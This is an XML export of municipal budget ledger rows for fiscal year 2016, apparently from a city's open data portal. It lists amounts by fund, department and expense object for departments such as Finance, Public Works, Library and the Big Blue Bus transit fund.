<row _id="21037"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-5860</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-5860</total></row>
<row _id="21038"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2572</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2572</total></row>
<row _id="21039"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>552010.0</object><object_description>CUSTODIAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4702</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4702</total></row>
<row _id="21040"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>15</fund_id><fund_name>Low/Mod Incme Housing Asset Fd</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570290.0</object><object_description>TRANSFER FROM CITY</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-1200000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1200000</total></row>
<row _id="21041"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIB-POA</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-17986</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-17986</total></row>
<row _id="21042"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>407780.0</object><object_description>FIBER OPTIC SERVICES</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2016</fiscal_year><july>-2100000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-2100000</total></row>
<row _id="21043"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>97668</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>97668</total></row>
<row _id="21044"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>120733</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>120733</total></row>
<row _id="21045"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4099</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4099</total></row>
<row _id="21046"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5924</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5924</total></row>
<row _id="21047"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-4576</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-4576</total></row>
<row _id="21048"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2500</total></row>
<row _id="21049"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UTIL-LIGHT/POWER-CITY HALL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>177754</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>177754</total></row>
<row _id="21050"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>26031</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>26031</total></row>
<row _id="21051"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2192</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2192</total></row>
<row _id="21052"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562431.0</object><object_description>SHP-NEW DIRECTIONS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>44605</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>44605</total></row>
<row _id="21053"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>11998</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11998</total></row>
<row _id="21054"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>21282</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>21282</total></row>
<row _id="21055"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>30708</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>30708</total></row>
<row _id="21056"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>8693</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8693</total></row>
<row _id="21057"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>522549.0</object><object_description>ADVERTISING PAYMENTS (CCB)</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>269280</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>269280</total></row>
<row _id="21058"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>9000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9000</total></row>
<row _id="21059"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>32173</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>32173</total></row>
<row _id="21060"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>298</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>298</total></row>
<row _id="21061"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1076</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1076</total></row>
<row _id="21062"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1603</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1603</total></row>
<row _id="21063"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>597</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>597</total></row>
<row _id="21064"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522990.0</object><object_description>STOCKROOM REPAIR PARTS &amp; MATER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>615226</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>615226</total></row>
<row _id="21065"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UTIL-LIGHT/POWER-CITY YARD</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>65245</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>65245</total></row>
<row _id="21066"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>BLDG/STR MAINT-CITY HALL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>56000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>56000</total></row>
<row _id="21067"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>BLDG/STR MAINT-CITY YARDS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>51000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>51000</total></row>
<row _id="21068"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>52</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>52</total></row>
<row _id="21069"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>114208</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>114208</total></row>
<row _id="21070"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>13000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13000</total></row>
<row _id="21071"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3700</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3700</total></row>
<row _id="21072"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>740</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>740</total></row>
<row _id="21073"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>49200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>49200</total></row>
<row _id="21074"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6930</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6930</total></row>
<row _id="21075"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3570</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3570</total></row>
<row _id="21076"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>33902</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>33902</total></row>
<row _id="21077"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-20230</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-20230</total></row>
<row _id="21078"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-34479</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-34479</total></row>
<row _id="21079"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-77224</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-77224</total></row>
<row _id="21080"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-16584</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-16584</total></row>
<row _id="21081"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-107941</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-107941</total></row>
<row _id="21082"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2625</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2625</total></row>
<row _id="21083"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>579250.0</object><object_description>GEOGRAPHIC INFORMATION SYSTEM</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>31000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>31000</total></row>
<row _id="21084"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401780.0</object><object_description>PICNIC AREA PERMITS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-11000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-11000</total></row>
<row _id="21085"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>522550.0</object><object_description>AD POSTINGS (CCB)</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>36720</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>36720</total></row>
